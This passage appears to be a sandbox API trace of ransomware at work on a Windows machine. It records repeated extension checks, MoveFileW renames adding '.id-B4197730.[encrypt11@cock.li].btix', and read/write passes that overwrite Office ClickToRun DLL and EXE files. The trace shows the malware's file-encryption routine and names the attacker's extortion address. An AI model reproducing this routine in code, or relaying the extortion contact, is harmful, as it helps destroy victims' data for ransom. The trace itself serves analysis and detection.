shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0055.233] lstrlenW (lpString=".dbf") returned 4 [0055.234] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0055.234] lstrlenW (lpString=".1cd") returned 4 [0055.234] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0055.234] lstrlenW (lpString=".jpg") returned 4 [0055.234] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.234] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0055.235] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.235] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fc64 | out: lpNewFilePointer=0x0) returned 1 [0055.235] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fc24 | out: lpNewFilePointer=0x0) returned 1 [0055.235] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x262fc30, lpOverlapped=0x0 | out: lpBuffer=0x38fa058*, lpNumberOfBytesRead=0x262fc30*=0x40000, lpOverlapped=0x0) returned 1 [0055.546] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x262fc24 | out: lpNewFilePointer=0x0) returned 1 [0055.546] ReadFile (in: hFile=0x31c, lpBuffer=0x393a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x262fc30, lpOverlapped=0x0 | out: lpBuffer=0x393a058*, lpNumberOfBytesRead=0x262fc30*=0x40000, lpOverlapped=0x0) returned 1 [0055.707] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x262fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0055.707] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x262fc24 | out: lpNewFilePointer=0x0) returned 1 [0055.707] ReadFile (in: hFile=0x31c, lpBuffer=0x397a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x262fc30, lpOverlapped=0x0 | out: lpBuffer=0x397a058*, lpNumberOfBytesRead=0x262fc30*=0x40000, lpOverlapped=0x0) returned 1 [0055.885] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.885] WriteFile (in: hFile=0x31c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x262fca8, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fca8*=0xc010a, lpOverlapped=0x0) returned 1 [0055.903] SetEndOfFile (hFile=0x31c) returned 1 [0055.903] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x40000) returned 0x4343f18 [0055.908] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fc74 | out: lpNewFilePointer=0x0) returned 1 [0055.908] WriteFile (in: hFile=0x31c, lpBuffer=0x4343f18*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x262fc80, lpOverlapped=0x0 | out: lpBuffer=0x4343f18*, lpNumberOfBytesWritten=0x262fc80*=0x40000, lpOverlapped=0x0) returned 1 [0055.909] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x262fc74 | out: lpNewFilePointer=0x0) returned 1 [0055.909] WriteFile (in: hFile=0x31c, lpBuffer=0x4343f18*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x262fc80, lpOverlapped=0x0 | out: lpBuffer=0x4343f18*, lpNumberOfBytesWritten=0x262fc80*=0x40000, lpOverlapped=0x0) returned 1 [0055.911] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x262fc74 | out: lpNewFilePointer=0x0) returned 1 [0055.912] WriteFile (in: hFile=0x31c, lpBuffer=0x4343f18*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x262fc80, lpOverlapped=0x0 | out: lpBuffer=0x4343f18*, lpNumberOfBytesWritten=0x262fc80*=0x40000, lpOverlapped=0x0) returned 1 [0055.914] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0055.914] CloseHandle (hObject=0x31c) returned 1 [0056.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0056.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0056.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0056.763] lstrlenW (lpString=".doc") returned 4 [0056.763] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0056.763] lstrlenW (lpString=".docx") returned 5 [0056.763] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0056.763] lstrlenW (lpString=".pdf") returned 4 [0056.763] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0056.763] lstrlenW (lpString=".xls") returned 4 [0056.763] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0056.763] lstrlenW (lpString=".xlsx") returned 5 [0056.763] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0056.763] lstrlenW (lpString=".ppt") returned 4 [0056.763] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0056.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0056.763] lstrlenW (lpString=".zip") returned 4 [0056.763] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0056.763] lstrlenW (lpString=".rar") returned 4 [0056.763] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0056.763] lstrlenW (lpString=".bz2") returned 4 [0056.763] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0056.763] lstrlenW (lpString=".7z") returned 3 [0056.763] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0056.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0056.763] lstrlenW (lpString=".dbf") returned 4 [0056.763] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0056.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0056.763] lstrlenW (lpString=".1cd") returned 4 [0056.763] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0056.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0056.763] lstrlenW (lpString=".jpg") returned 4 [0056.763] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0056.764] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0056.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0056.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[encrypt11@cock.li].btix"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 1 [0056.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0056.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0056.878] lstrlenW (lpString=".doc") returned 4 [0056.878] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0056.878] lstrlenW (lpString=".docx") returned 5 [0056.878] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0056.878] lstrlenW (lpString=".pdf") returned 4 [0056.878] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0056.878] lstrlenW (lpString=".xls") returned 4 [0056.878] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0056.878] lstrlenW (lpString=".xlsx") returned 5 [0056.878] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0056.878] lstrlenW (lpString=".ppt") returned 4 [0056.878] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0056.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0056.878] lstrlenW (lpString=".zip") returned 4 [0056.878] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0056.878] lstrlenW (lpString=".rar") returned 4 [0056.878] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0056.878] lstrlenW (lpString=".bz2") returned 4 [0056.879] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0056.879] lstrlenW (lpString=".7z") returned 3 [0056.879] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0056.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0056.879] lstrlenW (lpString=".dbf") returned 4 [0056.879] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0056.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0056.879] lstrlenW (lpString=".1cd") returned 4 [0056.879] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0056.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0056.879] lstrlenW (lpString=".jpg") returned 4 [0056.879] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0056.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0056.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0056.879] lstrlenW (lpString=".doc") returned 4 [0056.879] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0056.879] lstrlenW (lpString=".docx") returned 5 [0056.879] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0056.879] lstrlenW (lpString=".pdf") returned 4 [0056.879] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0056.879] lstrlenW (lpString=".xls") returned 4 [0056.879] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0056.879] lstrlenW (lpString=".xlsx") returned 5 [0056.879] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0056.879] lstrlenW (lpString=".ppt") returned 4 [0056.879] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0056.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0056.879] lstrlenW (lpString=".zip") returned 4 [0056.879] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0056.879] lstrlenW (lpString=".rar") returned 4 [0056.879] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0056.879] lstrlenW (lpString=".bz2") returned 4 [0056.879] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0056.879] lstrlenW (lpString=".7z") returned 3 [0056.880] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0056.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0056.880] lstrlenW (lpString=".dbf") returned 4 [0056.880] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0056.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0056.880] lstrlenW (lpString=".1cd") returned 4 [0056.880] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0056.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0056.880] lstrlenW (lpString=".jpg") returned 4 [0056.880] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0056.880] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0056.880] lstrlenW (lpString="mso30win32client.dll") returned 20 [0056.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.880] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=4677216) returned 1 [0056.880] CloseHandle (hObject=0x31c) returned 1 [0056.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 0x20 [0056.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0056.880] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0056.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0056.881] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[encrypt11@cock.li].btix"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 1 [0056.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0056.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0056.881] lstrlenW (lpString=".doc") returned 4 [0056.881] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0056.881] lstrlenW (lpString=".docx") returned 5 [0056.881] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0056.882] lstrlenW (lpString=".pdf") returned 4 [0056.882] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0056.882] lstrlenW (lpString=".xls") returned 4 [0056.882] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0056.882] lstrlenW (lpString=".xlsx") returned 5 [0056.882] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0056.882] lstrlenW (lpString=".ppt") returned 4 [0056.882] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0056.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0056.882] lstrlenW (lpString=".zip") returned 4 [0056.882] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0056.882] lstrlenW (lpString=".rar") returned 4 [0056.882] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0056.882] lstrlenW (lpString=".bz2") returned 4 [0056.882] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0056.882] lstrlenW (lpString=".7z") returned 3 [0056.882] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0056.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0056.882] lstrlenW (lpString=".dbf") returned 4 [0056.882] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0056.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0056.882] lstrlenW (lpString=".1cd") returned 4 [0056.882] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0056.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0056.882] lstrlenW (lpString=".jpg") returned 4 [0056.882] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0056.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0056.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0056.882] lstrlenW (lpString=".doc") returned 4 [0056.882] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0056.882] lstrlenW (lpString=".docx") returned 5 [0056.882] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0056.882] lstrlenW (lpString=".pdf") returned 4 [0056.882] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0056.882] lstrlenW (lpString=".xls") returned 4 [0056.882] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0056.883] lstrlenW (lpString=".xlsx") returned 5 [0056.883] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0056.883] lstrlenW (lpString=".ppt") returned 4 [0056.883] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0056.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0056.883] lstrlenW (lpString=".zip") returned 4 [0056.883] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0056.883] lstrlenW (lpString=".rar") returned 4 [0056.883] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0056.883] lstrlenW (lpString=".bz2") returned 4 [0056.883] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0056.883] lstrlenW (lpString=".7z") returned 3 [0056.883] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0056.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0056.883] lstrlenW (lpString=".dbf") returned 4 [0056.883] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0056.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0056.883] lstrlenW (lpString=".1cd") returned 4 [0056.883] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0056.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0056.883] lstrlenW (lpString=".jpg") returned 4 [0056.883] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0056.883] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0056.883] lstrlenW (lpString="mso40uires.dll") returned 14 [0056.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.883] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=3177152) returned 1 [0056.883] CloseHandle (hObject=0x31c) returned 1 [0056.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 0x20 [0056.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0056.884] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0056.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0056.884] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[encrypt11@cock.li].btix"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 1 [0056.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0056.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0056.885] lstrlenW (lpString=".doc") returned 4 [0056.885] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0056.885] lstrlenW (lpString=".docx") returned 5 [0056.885] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0056.885] lstrlenW (lpString=".pdf") returned 4 [0056.930] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0056.930] lstrlenW (lpString=".xls") returned 4 [0056.930] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0056.930] lstrlenW (lpString=".xlsx") returned 5 [0056.930] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0056.930] lstrlenW (lpString=".ppt") returned 4 [0056.930] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0056.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0056.930] lstrlenW (lpString=".zip") returned 4 [0056.930] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0056.930] lstrlenW (lpString=".rar") returned 4 [0056.931] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0056.931] lstrlenW (lpString=".bz2") returned 4 [0056.931] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0056.931] lstrlenW (lpString=".7z") returned 3 [0056.931] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0056.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0056.931] lstrlenW (lpString=".dbf") returned 4 [0056.931] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0056.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0056.931] lstrlenW (lpString=".1cd") returned 4 [0056.931] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0056.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0056.931] lstrlenW (lpString=".jpg") returned 4 [0056.931] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0056.931] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0056.932] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0056.934] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft 